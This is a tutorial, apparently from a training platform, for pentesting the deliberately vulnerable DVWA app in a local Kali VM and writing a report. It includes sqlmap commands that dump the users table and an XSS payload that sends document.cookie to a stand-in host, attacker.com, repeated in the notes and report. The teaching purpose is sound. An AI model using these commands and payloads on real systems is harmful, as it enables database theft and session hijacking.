Web Application Penetration Test

Exploit SQL injection and XSS in a local lab, then write a pentest report.

Introduction

30 Second Summary

Every company with a web application needs someone to find its security holes before a real attacker does. That someone is a penetration tester, and their structured approach to finding and reporting vulnerabilities is one of the most in-demand skills in cybersecurity.

In this project, you will conduct a full web application penetration test against a deliberately vulnerable target. You will exploit real vulnerabilities using industry-standard tools and produce a professional report documenting your findings.

What You'll Build

A complete penetration test engagement from reconnaissance through exploitation to professional reporting, all running in a local lab on your machine.

By the end of this project, you'll have:

  • A running Kali Linux VM with DVWA as your target application.
  • Documented evidence of exploited SQL injection and Cross-Site Scripting vulnerabilities using Burp Suite and sqlmap.
  • A professional penetration test report with an executive summary, severity ratings, and remediation guidance.
  • Secret Mission: Exploit a command injection vulnerability and add it to your report.

Are there any prerequisites?

You should be comfortable with basic Linux terminal commands and have some familiarity with Nmap. You also need VMware already installed on your machine (VMware Fusion on macOS or VMware Workstation on Windows/Linux).

Set Up Your Pentest Lab

Every professional penetration test starts with a controlled lab environment. You need an isolated system where you can safely attack a target application without affecting real-world infrastructure.

In this step, you will set up a Kali Linux virtual machine inside VMware, install a deliberately vulnerable web application called DVWA, and confirm that your pentest tools are ready to go.

In this step, get ready to:
  • Import the Kali Linux VM into VMware.
  • Install and configure DVWA as your target application.
  • Verify that Nmap, sqlmap, and Burp Suite are working.
Download and import the Kali Linux VMware image

Kali Linux is a Linux distribution built specifically for penetration testing. It comes pre-loaded with hundreds of security tools. You will download a pre-built VMware image so you can skip a manual installation.

  • Open your browser and navigate to the Kali Linux download page:
  • https://www.kali.org/get-kali/
  • Scroll to the **Virtual Machines** section and download the pre-built VMware image. The file is called kali-linux-2025.4-vmware-amd64.7z and is approximately 3.6 GiB.

Why is the download so large?

The image contains an entire operating system with hundreds of pre-installed security tools. This saves you from manually installing each tool later. The download may take 10-20 minutes depending on your internet speed.

Once the download finishes, you need to extract the .7z archive. The tool you use depends on your operating system.

macOS

  • Download and install The Unarchiver (free from the App Store) or Keka if you do not already have a .7z extractor.
  • Double-click the kali-linux-2025.4-vmware-amd64.7z file in Finder.
  • The Unarchiver or Keka will extract a folder containing the VM files.

Windows

  • Download and install 7-Zip from https://www.7-zip.org/ if you do not already have a .7z extractor.
  • Right-click kali-linux-2025.4-vmware-amd64.7z in File Explorer.
  • Select 7-Zip, then Extract Here.

After extraction, you will have a folder containing several files including a .vmx file. This is the virtual machine configuration file that VMware uses to import the VM.

  • Press Cmd+Space (macOS) or the Windows key (Windows) to open your search bar.
  • Type VMware and press Enter to open it.
  • In VMware, click File in the top menu bar.
  • Click Open (or Open a Virtual Machine).
  • Navigate to the extracted folder and select the .vmx file (e.g. kali-linux-2025.4-vmware-amd64.vmx).
  • Click Open.

The VM will appear in VMware's library. Before booting it, configure the network adapter.

  • Select the Kali VM in VMware's library.
  • Open Virtual Machine in the top menu bar.
  • Select Network Adapter.
  • Set it to NAT.

What is NAT?

NAT (Network Address Translation) allows your VM to share your host machine's internet connection. This gives the VM internet access for package updates while keeping it isolated from other devices on your network.

  • Click the play button (or Power On) to boot the Kali VM.
  • Wait for the login screen to appear. Enter username kali and password kali.

VM not booting?

Make sure virtualization is enabled in your BIOS/UEFI settings (Intel VT-x or AMD-V). If VMware prompts you to upgrade the VM hardware compatibility, click Upgrade. Help me troubleshoot my VMware setup.

Install and start DVWA

DVWA (Damn Vulnerable Web Application) is a PHP web app designed to be insecure on purpose. It gives you real vulnerabilities to practice against without breaking any laws.

  • Open a terminal in Kali (right-click the desktop and select Open Terminal Here, or click the terminal icon in the top panel).
  • Update your package list and install DVWA by running these commands:
sudo apt update
sudo apt install dvwa -y

What does this install?

The dvwa package from Kali's repository automatically installs and configures Apache, MariaDB, and PHP for you. This saves you from manually setting up a full web server stack.

  • Start DVWA by running:
sudo dvwa-start

This command starts the Apache web server and MariaDB database that power DVWA.

  • Open Firefox inside Kali (click the Firefox icon in the top panel or the applications menu).
  • Navigate to http://127.0.0.1/login.php in the address bar.
  • Log in with username admin and password password.
  • Click Create / Reset Database on the setup page.
  • After the database resets, log in again with admin / password.
  • Click DVWA Security in the left sidebar menu.
  • Set the security level to Low using the dropdown and click Submit.

Why set security to Low?

DVWA has four difficulty levels that control how much protection each vulnerability has. Setting it to Low removes all defenses so you can focus on understanding the core attack techniques first. In a real engagement, you would encounter more sophisticated protections.

You should now see the DVWA home page with vulnerability categories (SQL Injection, XSS, Command Injection, etc.) listed in the left sidebar.

Verify your tools are working

Kali Linux comes with Nmap, sqlmap, and Burp Suite Community Edition pre-installed. You need to confirm each tool launches correctly before starting the engagement.

  • Verify Nmap is available by running:
nmap --version

You should see a version number and build info confirming Nmap is installed.

  • Verify sqlmap is available by running:
sqlmap --version

You should see a version string confirming sqlmap is ready.

  • Launch Burp Suite to confirm it opens by running:
burpsuite

What will Burp Suite do?

This command opens Burp Suite's graphical interface. It may take 10-15 seconds to load. You will see a splash screen and then the main Burp Suite window. You do not need to configure anything yet.

  • Once Burp Suite's main window appears, close it. You will configure it properly in a later step.

Seeing a command not found error?

If any of the three tools fail to launch, your Kali installation may be missing packages. Run sudo apt update && sudo apt install -y nmap sqlmap burpsuite to install them manually. Help me fix my missing Kali tools.

Reconnaissance with Nmap

Your pentest lab is running and ready for action. Now it's time to gather intelligence about your target.

Before exploiting any vulnerability, a real penetration tester needs to understand what services are running and what attack surface is exposed. This phase is called reconnaissance. You will use Nmap to probe your target and build a picture of its defenses.

In this step, get ready to:
  • Run a service version scan to identify open ports and software versions.
  • Enumerate web directories with the http-enum script.
  • Record all findings in a pentest notes file.
Scan your target

A service version scan tells you exactly what software is listening on each open port. This is critical because specific versions have specific vulnerabilities you can research and exploit.

  • Run a service version scan with default scripts against localhost by running this command in your terminal:
nmap -sV -sC 127.0.0.1

What does this command do?

This command runs two types of detection against your target at 127.0.0.1 (localhost, where DVWA is running).

  • The -sV flag probes open ports to identify the exact service and version number running on each one.
  • The -sC flag runs Nmap's default set of NSE scripts, which gather extra information like page titles and server details.
  • Look at the output table. You should see port 80/tcp listed as open with service http and a version showing Apache httpd along with its version number.

The Nmap output displays a port table with columns for PORT, STATE, SERVICE, and VERSION. Your key finding is the Apache web server version on port 80.

  • Create a notes file to record your findings by running:
nano pentest-notes.txt
  • Type in the open port (80/tcp), the service name (http), and the exact Apache version string from your scan output.
  • Save the file by pressing Ctrl+O then Enter, and exit nano by pressing Ctrl+X.

Why record findings in a text file?

Professional penetration testers document every discovery as they go. These raw notes become the evidence section of your final report. Recording exact version numbers lets you cross-reference known vulnerabilities later.

Not seeing port 80 as open?

Make sure DVWA is still running. You can restart it with sudo dvwa-start if needed. If the scan shows all ports as closed, confirm your network adapter is set to NAT in VMware.

Help me troubleshoot why Nmap isn't finding port 80 open on localhost.

Identify the application with directory enumeration

Knowing the server version is a good start. Now you need to discover what web paths and directories are accessible. Hidden directories often reveal admin panels, backup files, or application endpoints.

  • Run the http-enum script to enumerate common web directories by running:
nmap --script http-enum 127.0.0.1

What does http-enum do?

The http-enum NSE script sends requests to a list of commonly known web paths (like /icons/, /images/, /robots.txt) and checks which ones return a valid response. Any path that exists is a potential entry point for further testing.

  • Review the script output. You should see discovered directories listed under the http-enum heading, including paths like /dvwa/ and /icons/.
  • Open your notes file again to add these findings by running:
nano pentest-notes.txt
  • Add the list of discovered directories from the http-enum output to your notes.
  • Save with Ctrl+O then Enter, and exit with Ctrl+X.
  • Confirm your notes file is saved by running:
cat pentest-notes.txt

You should see both your service scan findings (port 80, Apache version) and the discovered directories listed in the output.

http-enum showing no results?

The script may take a moment to complete since it checks many paths. If you see no output at all, confirm DVWA is running by visiting http://127.0.0.1 in Firefox inside the VM. The DVWA login page should appear.

Help me figure out why http-enum isn't finding directories.

Your reconnaissance is complete. You now have a documented picture of the target's attack surface. Next up, you will use this information to intercept HTTP traffic and exploit a SQL injection vulnerability.

SQL Injection with Burp Suite and sqlmap

Your reconnaissance gave you a map of the target. You know what ports are open, what services are running, and where the web application lives.

Now it is time to go from information gathering to active exploitation. In this step, you will use Burp Suite to intercept HTTP traffic between your browser and DVWA, then feed that data to sqlmap to automatically exploit a SQL injection vulnerability and extract the application's database.

In this step, get ready to:
  • Intercept a vulnerable HTTP request using Burp Suite's proxy.
  • Exploit SQL injection with sqlmap to extract database contents.
  • Document the finding with evidence for your pentest report.
Intercept a request with Burp Suite

Before you can exploit a vulnerability, you need to understand how the application communicates. Burp Suite sits between your browser and the target, recording every HTTP request so you can study parameters, cookies, and headers.

  • Launch Burp Suite by running this command in your terminal:
burpsuite
  • On the startup wizard, select Temporary project and click Next.
  • On the configuration screen, leave Use Burp defaults selected and click Start Burp.

Why a temporary project?

A temporary project keeps all captured data in memory. When you close Burp, everything is gone. This is fine for a lab environment where you do not need to persist proxy history between sessions.

  • Go to the Proxy tab at the top of the Burp window.
  • Click the Intercept sub-tab.
  • Make sure the toggle reads Intercept is off. You want Burp to passively record traffic without blocking each request.
  • Click Open browser in the Proxy Intercept tab to launch Burp's built-in browser.

What is Burp's built-in browser?

Burp Suite ships with a Chromium-based browser that is pre-configured to route all traffic through Burp's proxy. This saves you from manually configuring Firefox or Chrome proxy settings.

  • In Burp's browser, navigate to http://127.0.0.1/login.php.
  • Log in with username admin and password password.
  • In the left sidebar, click SQL Injection.
  • Type 1 in the User ID field.
  • Click Submit.

You should see user information displayed on the page. DVWA returned data for User ID 1.

  • Switch back to Burp Suite.
  • Click the Proxy tab, then click the HTTP history sub-tab.
  • Find the GET request to /dvwa/vulnerabilities/sqli/ with the id=1 parameter in the URL.
  • Click on that request to view its details in the lower pane.
  • In the request headers, find the Cookie header. Note the PHPSESSID value. You will need it for the next substep.

What should I see in HTTP history?

The request line shows the full URL including id=1&Submit=Submit as query parameters. The Cookie header contains PHPSESSID= followed by a long alphanumeric string, and security=low.

Both values are essential for sqlmap to authenticate to DVWA.

Don't see the request in HTTP history?

Make sure you used Burp's built-in browser (opened via Open browser) and not Firefox. Only traffic from Burp's browser is automatically captured. If you accidentally used Firefox, switch to Burp's browser, log in again, and resubmit the form.

Help me troubleshoot

Exploit SQL injection with sqlmap

You have confirmed that DVWA sends the User ID as a URL parameter. Now you will feed that request to sqlmap, an automated SQL injection tool that tests parameters, identifies injection types, and extracts data from the database.

  • From the Burp HTTP history entry you just found, copy your PHPSESSID cookie value (the alphanumeric string after PHPSESSID=).
  • Open a terminal in Kali (keep Burp Suite running in the background).
  • Enumerate the databases on the target by running this command, replacing your-session-id-here with your actual PHPSESSID value:
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=your-session-id-here;security=low" --dbs

What does this command do?

  • -u specifies the target URL with the vulnerable id parameter.
  • --cookie passes your session cookie so sqlmap authenticates as your logged-in user.
  • --dbs tells sqlmap to enumerate all databases on the server once it confirms the injection works.
  • When sqlmap asks questions during its run, press Enter to accept the defaults each time.

sqlmap will test the id parameter and confirm it is injectable. Once it finishes, you should see a list of databases including dvwa and information_schema.

  • List the tables in the dvwa database by running:
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=your-session-id-here;security=low" -D dvwa --tables

You should see tables listed, including a users table.

  • Dump the contents of the users table by running:
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=your-session-id-here;security=low" -D dvwa -T users --dump

What does --dump do?

The --dump flag extracts all rows from the specified table. In a real engagement, this demonstrates to the client that an attacker could steal their entire user database through this single vulnerability.

sqlmap may also offer to crack the password hashes it finds. You can accept or skip this. Either way, the extracted hashes prove the severity of the flaw.

You should see a table of usernames and password hashes extracted from the DVWA database. This is your proof of exploitation.

sqlmap says the parameter is not injectable?

Double-check that your PHPSESSID value is correct and that you included security=low in the cookie string. If your session expired, go back to Burp's browser, log into DVWA again, and grab the new PHPSESSID from Burp's HTTP history.

Also confirm DVWA is still running. If you rebooted the VM, run sudo dvwa-start again before retrying.

Help me fix my sqlmap command

Document the finding

Evidence without documentation is wasted effort. Recording findings as you go makes writing the final report much faster and ensures you do not forget critical details.

  • Open pentest-notes.txt in your preferred text editor (you can use nano or mousepad in Kali).
  • Add a new section titled SQL Injection Finding.
  • Record the vulnerable parameter: id.
  • Record the injection type that sqlmap identified (check sqlmap's output for the technique name, such as UNION-based or boolean-based blind).
  • Record what data was extracted: usernames and password hashes from the dvwa.users table.
  • Save the file.

Save sqlmap's full output too

sqlmap automatically saves session data and output logs in ~/.local/share/sqlmap/output/. You can reference these files later when writing your formal report for exact evidence.

You have just proven that a single URL parameter can give an attacker access to an entire database. Next up, you will demonstrate another critical vulnerability: Cross-Site Scripting.

Cross-Site Scripting (XSS) with Burp Suite

In the last step, you proved that the DVWA application leaks its entire database through a single input field. SQL injection attacks target the server. Now you will demonstrate an attack that targets other users of the application.

Cross-Site Scripting (XSS) lets an attacker inject malicious JavaScript into a web page that other users visit. If successful, the attacker can steal session cookies, redirect victims to phishing sites, or perform actions on their behalf. You will use Burp Suite's browser to inject XSS payloads and observe the results.

In this step, get ready to:
  • Inject a basic XSS payload to confirm the vulnerability exists.
  • Demonstrate real-world impact by stealing a session cookie.
  • Document the XSS finding in your pentest notes.
Test for reflected XSS

Reflected XSS occurs when user input is immediately echoed back into the page without sanitization. If the application reflects your input as raw HTML, a browser will execute any JavaScript you include.

  • Switch back to Burp Suite's built-in browser (still logged into DVWA from the previous step).
  • In DVWA's left sidebar, click XSS (Reflected).

You should see a simple form with a text field asking "What's your name?" and a Submit button.

  • In the What's your name? field, type the following XSS payload:
<script>alert('XSS')</script>
  • Click Submit.

A JavaScript alert box should pop up displaying the text "XSS". This confirms the application does not sanitize user input before reflecting it back into the page.

What just happened?

The application took your input and placed it directly into the HTML response without encoding it. Your browser treated the <script> tags as real JavaScript and executed the alert() function.

An alert box is harmless on its own. The real danger is that any JavaScript can run in this spot, including code that steals cookies or redirects users.

No alert box appearing?

Make sure DVWA's security level is set to Low. Higher security levels add input filtering that blocks this payload. Check by clicking DVWA Security in the left sidebar.

Also confirm you typed the payload exactly, including the single quotes around 'XSS'. A missing closing tag or mismatched quote breaks the script.

Help me troubleshoot why the XSS alert box isn't appearing in DVWA set to Low security level.

Demonstrate impact with a cookie theft payload

A pop-up alert proves the vulnerability exists, but employers and clients need to understand the real-world impact. You will now craft a payload that steals the victim's session cookie. This is how attackers hijack authenticated sessions.

  • In the same XSS (Reflected) page, clear the name field.
  • Enter the following cookie theft payload:
<script>document.write('<img src="http://attacker.com/steal?cookie='+document.cookie+'"/>')</script>
  • Click Submit.

The page content will disappear, replaced by a broken image icon. This is expected.

  • Switch back to Burp Suite's main window.
  • Click the Proxy tab, then the HTTP history sub-tab.
  • Look for a GET request to attacker.com containing a cookie= parameter in the URL.

You should see the outbound request containing the session cookie value (PHPSESSID and security level) embedded in the URL. This proves an attacker could capture a victim's session.

What does this payload do?

The document.write() function replaces the entire page with a single <img> tag. The image URL includes the victim's cookies as a query parameter.

When the browser tries to load the image, it sends an HTTP request to the attacker's server. The attacker's server logs the request, and the victim's session cookie is captured. The attacker can then use this cookie to impersonate the victim.

Don't see the outbound request in Burp?

Make sure you are checking the HTTP history tab (not the Intercept tab). The request may appear at the bottom of the list. Scroll down and look for a request with attacker.com in the Host column.

If the request is not there, the browser may have blocked it. The important proof is that the page attempted to load the URL with the cookie value. Check the page source or try re-submitting the payload.

Help me find the XSS cookie theft request in Burp Suite's HTTP history.

Document the XSS finding

Every vulnerability you exploit needs to be documented before you move on. Recording findings while the details are fresh prevents you from forgetting payload specifics or misremembering the impact later.

  • Open a terminal in Kali (you can leave Burp Suite running in the background).
  • Add your XSS findings to pentest-notes.txt by running:
cat >> ~/pentest-notes.txt << 'EOF'

## XSS Finding - Reflected Cross-Site Scripting

Vulnerable Parameter: name (on XSS Reflected page)
URL: http://127.0.0.1/dvwa/vulnerabilities/xss_r/

Payload 1 (proof of concept):
<script>alert('XSS')</script>
Result: JavaScript alert box executed, confirming no input sanitization.

Payload 2 (cookie theft):
<script>document.write('<img src="http://attacker.com/steal?cookie='+document.cookie+'"/>')</script>
Result: Browser sent outbound request with session cookie in URL.

Impact: An attacker can steal session cookies from any user who clicks a crafted link. This enables session hijacking and full account takeover.

Note: This is reflected XSS (requires victim to click a malicious link). Stored XSS would persist in the application database and execute every time any user views the affected page.
EOF

What does this command do?

The cat >> file << 'EOF' pattern appends text to a file without overwriting existing content. Everything between the two EOF markers gets added to the end of your notes file.

  • Confirm your notes were saved by running:
cat ~/pentest-notes.txt

You should see all your findings so far. The Nmap reconnaissance, the SQL Injection finding from the previous step, and the new XSS finding you just added.

Why document reflected vs stored XSS?

In a professional report, clients need to understand the difference. Reflected XSS requires tricking a victim into clicking a crafted link. Stored XSS persists in the application and attacks every user who views the affected page.

Stored XSS is typically rated higher severity because it does not require social engineering. Noting this distinction in your report shows methodological awareness that employers look for.

Notes file looks empty or malformed?

If cat shows unexpected content, you may have used a single > instead of >> in a previous command (which overwrites instead of appending). Re-run the command above with >> to append correctly.

Help me fix my pentest-notes.txt file that seems to have lost content.

You now have two major vulnerabilities documented with evidence and impact analysis. In the next step, you will turn these raw notes into a polished professional penetration test report.

Write Your Professional Pentest Report

You have exploited two real vulnerabilities and documented evidence in your notes. Now it is time to turn those raw findings into a professional deliverable.

A penetration test report is what separates a security hobbyist from a professional consultant. Employers and clients judge pentesters by the quality of their reports, not just whether they found a bug. In this step, you will structure your findings into a report that communicates risk to both technical and non-technical audiences.

In this step, get ready to:
  • Create a structured penetration test report with industry-standard sections.
  • Document each vulnerability with severity, evidence, and remediation guidance.
  • Write an executive summary and prioritized recommendations.
Create the report structure

Every professional pentest report follows a predictable structure. This lets readers find what they need quickly, whether they are a CEO skimming the executive summary or a developer reading remediation steps.

  • Open a text editor by running this command in your terminal:
mousepad ~/pentest-report.md
  • Type the following report skeleton into the file, filling in the Scope and Methodology sections with your engagement details:
# Penetration Test Report

## Executive Summary

[To be completed after findings are documented]

## Scope

- **Target:** DVWA (Damn Vulnerable Web Application) at http://127.0.0.1
- **Testing Period:** [Today's date]
- **Tools Used:** Nmap, Burp Suite Community Edition, sqlmap
- **Type:** Black-box web application penetration test

## Methodology

1. **Reconnaissance** - Network scanning and service enumeration using Nmap
2. **Vulnerability Identification** - Manual testing and traffic interception using Burp Suite
3. **Exploitation** - Automated exploitation using sqlmap, manual XSS payload delivery
4. **Reporting** - Documentation of findings with severity ratings and remediation guidance

## Findings

[Findings will be documented below]

## Recommendations

[To be completed after findings are documented]

What do these sections do?

  • Executive Summary gives non-technical stakeholders (CEOs, managers) a quick risk overview without any jargon.
  • Scope defines the boundaries of the test so everyone agrees on what was and was not tested.
  • Methodology shows you followed a structured process, not random hacking.
  • Findings is where each vulnerability is documented with proof and fixes.
  • Recommendations gives the development team a prioritized action plan.
  • Save the file with Ctrl+S.
  • You should see the five section headers (Executive Summary, Scope, Methodology, Findings, Recommendations) with Scope and Methodology filled in.

File not saving?

Make sure you included the ~/ prefix in the command so the file saves to your home directory. If Mousepad did not open, try running nano ~/pentest-report.md instead and use Ctrl+O then Enter to save.

Help me create the pentest report file in Kali Linux

Write up each finding

Each finding follows a consistent format that proves you identified the vulnerability, exploited it responsibly, and understand how to fix it. Open your pentest-notes.txt alongside the report so you can reference the evidence you collected in earlier steps.

  • In pentest-report.md, find the line that says [Findings will be documented below] and replace it with the following SQL injection finding:
### Finding 1: SQL Injection in User ID Parameter

- **Severity:** Critical
- **Location:** /dvwa/vulnerabilities/sqli/ - id parameter
- **Description:** The User ID input field is vulnerable to SQL injection. User-supplied input is concatenated directly into SQL queries without sanitization or parameterization.
- **Impact:** An attacker can extract the entire database contents, including usernames and password hashes. This could lead to full application compromise and unauthorized access to all user accounts.
- **Evidence:** Using sqlmap with the command `sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<session>;security=low" -D dvwa -T users --dump`, all usernames and password hashes were extracted from the dvwa database.
- **Remediation:** Use parameterized queries (prepared statements) instead of string concatenation for all database queries. Implement input validation to reject unexpected characters.

Why is SQL injection rated Critical?

Severity ratings communicate business risk. SQL injection is Critical because it gives an attacker direct access to the database. They can read all data, modify records, or even delete entire tables.

In a real engagement, a Critical finding means the client should stop everything and fix it immediately.

  • Save the file.
  • You should see Finding 1 with all seven fields (Severity through Remediation) filled in under the Findings heading.

Not sure what to put in Evidence?

Check your pentest-notes.txt for the exact sqlmap commands you ran and the output showing extracted data. The Evidence field should prove the vulnerability is real, not just theoretical.

Help me write the evidence section of my SQL injection finding

  • Below Finding 1, add the following Cross-Site Scripting finding:
### Finding 2: Reflected XSS in Name Parameter

- **Severity:** High
- **Location:** /dvwa/vulnerabilities/xss_r/ - name parameter
- **Description:** The name input field reflects user input directly into the page without output encoding. This allows injection of arbitrary JavaScript code.
- **Impact:** An attacker can craft a malicious URL that, when clicked by a victim, executes JavaScript in their browser. This enables session hijacking through cookie theft, allowing the attacker to impersonate the victim.
- **Evidence:** The payload `<script>alert('XSS')</script>` triggered a JavaScript alert box. The payload `<script>document.write('<img src="http://attacker.com/steal?cookie='+document.cookie+'"/>')</script>` demonstrated cookie exfiltration, confirmed in Burp Suite HTTP history showing the session cookie in the outbound request URL.
- **Remediation:** Implement output encoding for all user-supplied data before rendering in HTML. Deploy Content Security Policy (CSP) headers to prevent inline script execution.

Why is Reflected XSS rated High instead of Critical?

Reflected XSS requires a victim to click a crafted link, adding an extra step to the attack chain. SQL injection can be exploited directly by the attacker with no victim interaction. This difference in exploitability is why XSS drops one severity level.

  • Save the file.
  • You should now see two complete findings under the Findings section, each with all seven fields documented.

Findings look incomplete?

Make sure each finding has all seven fields: Severity, Location, Description, Impact, Evidence, Remediation. Missing any of these weakens the report. The Evidence field is especially important because it proves you actually exploited the vulnerability.

Help me check if my penetration test findings are complete

Add the executive summary and recommendations

Now that your findings are documented, you can write the executive summary. This section is written last because it needs to accurately summarize what you found.

  • In pentest-report.md, find the line that says [To be completed after findings are documented] under Executive Summary and replace it with:
A penetration test was conducted against the DVWA web application hosted at 127.0.0.1. Two vulnerabilities were identified: one Critical severity SQL Injection and one High severity Reflected Cross-Site Scripting (XSS). The application is at significant risk of data breach and session compromise. Immediate remediation is recommended.

What makes a good executive summary?

Write for someone who has never touched a terminal. A CEO reading this needs to understand the risk level and urgency in under 30 seconds. Avoid technical jargon. Focus on business impact: data breach, account takeover, regulatory risk.

  • Next, find the line that says [To be completed after findings are documented] under Recommendations and replace it with:
Prioritized by severity:

1. **Implement parameterized queries** - Replace all instances of string concatenation in SQL queries with prepared statements. This eliminates SQL injection vulnerabilities entirely.
2. **Apply output encoding** - Encode all user-supplied input before rendering it in HTML responses. Use context-appropriate encoding (HTML entity encoding for HTML content, JavaScript encoding for script contexts).
3. **Deploy Content Security Policy headers** - Add CSP headers to prevent inline script execution and restrict resource loading to trusted domains.
4. **Establish regular security testing** - Conduct penetration tests on a recurring schedule and after significant code changes.

Why prioritize recommendations?

Development teams have limited time and budget. By ordering fixes from most to least urgent, you help them address the biggest risks first. Parameterized queries come first because they eliminate the Critical-severity SQL injection. Content Security Policy headers come later because they add defense-in-depth on top of the primary fix.

  • Save pentest-report.md.
  • Scroll through the entire file from top to bottom. You should see all five sections filled in: Executive Summary, Scope, Methodology, Findings (with two documented vulnerabilities), and Recommendations (with four prioritized items).

Report looks disorganized?

Check that your markdown headings use the correct levels: # for the title, ## for main sections, and ### for individual findings. Also verify there are no leftover placeholder lines like [To be completed after findings are documented] remaining in the file.

Help me organize my pentest report structure

✔️ Awesome, I've got everything!

Great. Double check you have saved pentest-report.md with all five sections complete.

ⓧ I'd like to double check the full code

Here is the complete pentest-report.md for comparison:

# Penetration Test Report

## Executive Summary

A penetration test was conducted against the DVWA web application hosted at 127.0.0.1. Two vulnerabilities were identified: one Critical severity SQL Injection and one High severity Reflected Cross-Site Scripting (XSS). The application is at significant risk of data breach and session compromise. Immediate remediation is recommended.

## Scope

- **Target:** DVWA (Damn Vulnerable Web Application) at http://127.0.0.1
- **Testing Period:** [Today's date]
- **Tools Used:** Nmap, Burp Suite Community Edition, sqlmap
- **Type:** Black-box web application penetration test

## Methodology

1. **Reconnaissance** - Network scanning and service enumeration using Nmap
2. **Vulnerability Identification** - Manual testing and traffic interception using Burp Suite
3. **Exploitation** - Automated exploitation using sqlmap, manual XSS payload delivery
4. **Reporting** - Documentation of findings with severity ratings and remediation guidance

## Findings

### Finding 1: SQL Injection in User ID Parameter

- **Severity:** Critical
- **Location:** /dvwa/vulnerabilities/sqli/ - id parameter
- **Description:** The User ID input field is vulnerable to SQL injection. User-supplied input is concatenated directly into SQL queries without sanitization or parameterization.
- **Impact:** An attacker can extract the entire database contents, including usernames and password hashes. This could lead to full application compromise and unauthorized access to all user accounts.
- **Evidence:** Using sqlmap with the command `sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<session>;security=low" -D dvwa -T users --dump`, all usernames and password hashes were extracted from the dvwa database.
- **Remediation:** Use parameterized queries (prepared statements) instead of string concatenation for all database queries. Implement input validation to reject unexpected characters.

### Finding 2: Reflected XSS in Name Parameter

- **Severity:** High
- **Location:** /dvwa/vulnerabilities/xss_r/ - name parameter
- **Description:** The name input field reflects user input directly into the page without output encoding. This allows injection of arbitrary JavaScript code.
- **Impact:** An attacker can craft a malicious URL that, when clicked by a victim, executes JavaScript in their browser. This enables session hijacking through cookie theft, allowing the attacker to impersonate the victim.
- **Evidence:** The payload `<script>alert('XSS')</script>` triggered a JavaScript alert box. The payload `<script>document.write('<img src="http://attacker.com/steal?cookie='+document.cookie+'"/>')</script>` demonstrated cookie exfiltration, confirmed in Burp Suite HTTP history showing the session cookie in the outbound request URL.
- **Remediation:** Implement output encoding for all user-supplied data before rendering in HTML. Deploy Content Security Policy (CSP) headers to prevent inline script execution.

## Recommendations

Prioritized by severity:

1. **Implement parameterized queries** - Replace all instances of string concatenation in SQL queries with prepared statements. This eliminates SQL injection vulnerabilities entirely.
2. **Apply output encoding** - Encode all user-supplied input before rendering it in HTML responses. Use context-appropriate encoding (HTML entity encoding for HTML content, JavaScript encoding for script contexts).
3. **Deploy Content Security Policy headers** - Add CSP headers to prevent inline script execution and restrict resource loading to trusted domains.
4. **Establish regular security testing** - Conduct penetration tests on a recurring schedule and after significant code changes.

Your report is complete. You now have a professional penetration test deliverable that demonstrates structured methodology, technical exploitation skills, and clear communication of risk. This is the exact format employers evaluate during pentest interviews.

Secret mission

Exploit Command Injection

You've exploited SQL injection and XSS. There's a third vulnerability hiding in DVWA that gives an attacker direct access to the server's operating system. Can you find it, exploit it, and document it professionally?

Clean Up Your Resources

Clean Up Your Resources

This project runs entirely inside a virtual machine on your local machine. There are no cloud services or ongoing costs to worry about.

Decide whether to keep your Kali Linux VM running, pause it to come back later, or delete it entirely.

Resources you used:

  • Kali Linux VM in VMware (imported from kali-linux-2025.4-vmware-amd64.7z).
  • DVWA installed and running inside the Kali VM (Apache, MariaDB, PHP).
  • pentest-notes.txt and pentest-report.md files inside the VM.

Keep everything running

No action needed. Choose this if you are still actively building on your pentest lab or plan to add more DVWA exercises.

  • Your Kali VM stays in VMware, ready to boot whenever you need it.
  • DVWA remains installed. Start it anytime with sudo dvwa-start inside the VM.
  • Your report files stay inside the VM's filesystem.

Pause - I'll come back to this later

Shut down DVWA and the VM to free up system memory and CPU. Your files and configuration stay intact for next time.

  • Inside the Kali VM terminal, stop DVWA by running:
sudo dvwa-stop
  • Shut down the Kali VM from inside by running:
sudo shutdown now
  • The VM powers off. Next time, open VMware and boot the VM to pick up where you left off.

Delete - I don't want to use this again

Remove the Kali Linux VM and all associated files from your machine. This frees up the disk space used by the VM image (several GB).

Back up your report first

Your pentest-report.md and pentest-notes.txt live inside the VM. Once you delete the VM, these files are gone. Copy them to your host machine first if you want to keep them.

Inside the running VM, you can use VMware Shared Folders or simply copy-paste the file contents to a text editor on your host before shutting down.

  • Inside the Kali VM, stop DVWA by running:
sudo dvwa-stop
  • Shut down the VM by running:
sudo shutdown now
  • In VMware, open the Virtual Machine Library.
  • Right-click (or Control-click on macOS) the Kali Linux VM.
  • Select the delete option. When prompted, choose to move the VM files to the Trash (macOS) or delete them from disk (Windows/Linux).
  • Empty your Trash (macOS) or Recycle Bin (Windows) to reclaim the disk space.
  • Delete the original extracted folder you downloaded (the folder containing the .vmx file) if it still exists on your machine.
  • Delete the .7z archive file (kali-linux-2025.4-vmware-amd64.7z) from your Downloads folder if you still have it.

Nice Work!

Nice Work!

Nice work! You just completed a full web application penetration test engagement, from lab setup through exploitation to professional reporting.

You've learned how to:

  • Set up a professional penetration testing lab in VMware with Kali Linux and DVWA, and performed network reconnaissance using Nmap to identify services and attack surface.
  • Exploited SQL injection using Burp Suite and sqlmap to extract database contents, and demonstrated Cross-Site Scripting (XSS) and its impact on session security.
  • Produced a professional penetration test report with findings, severity ratings, and remediation recommendations that you can present to employers.
  • Secret Mission: Exploited command injection to achieve remote code execution and documented it professionally in your report.

Ready to quiz yourself?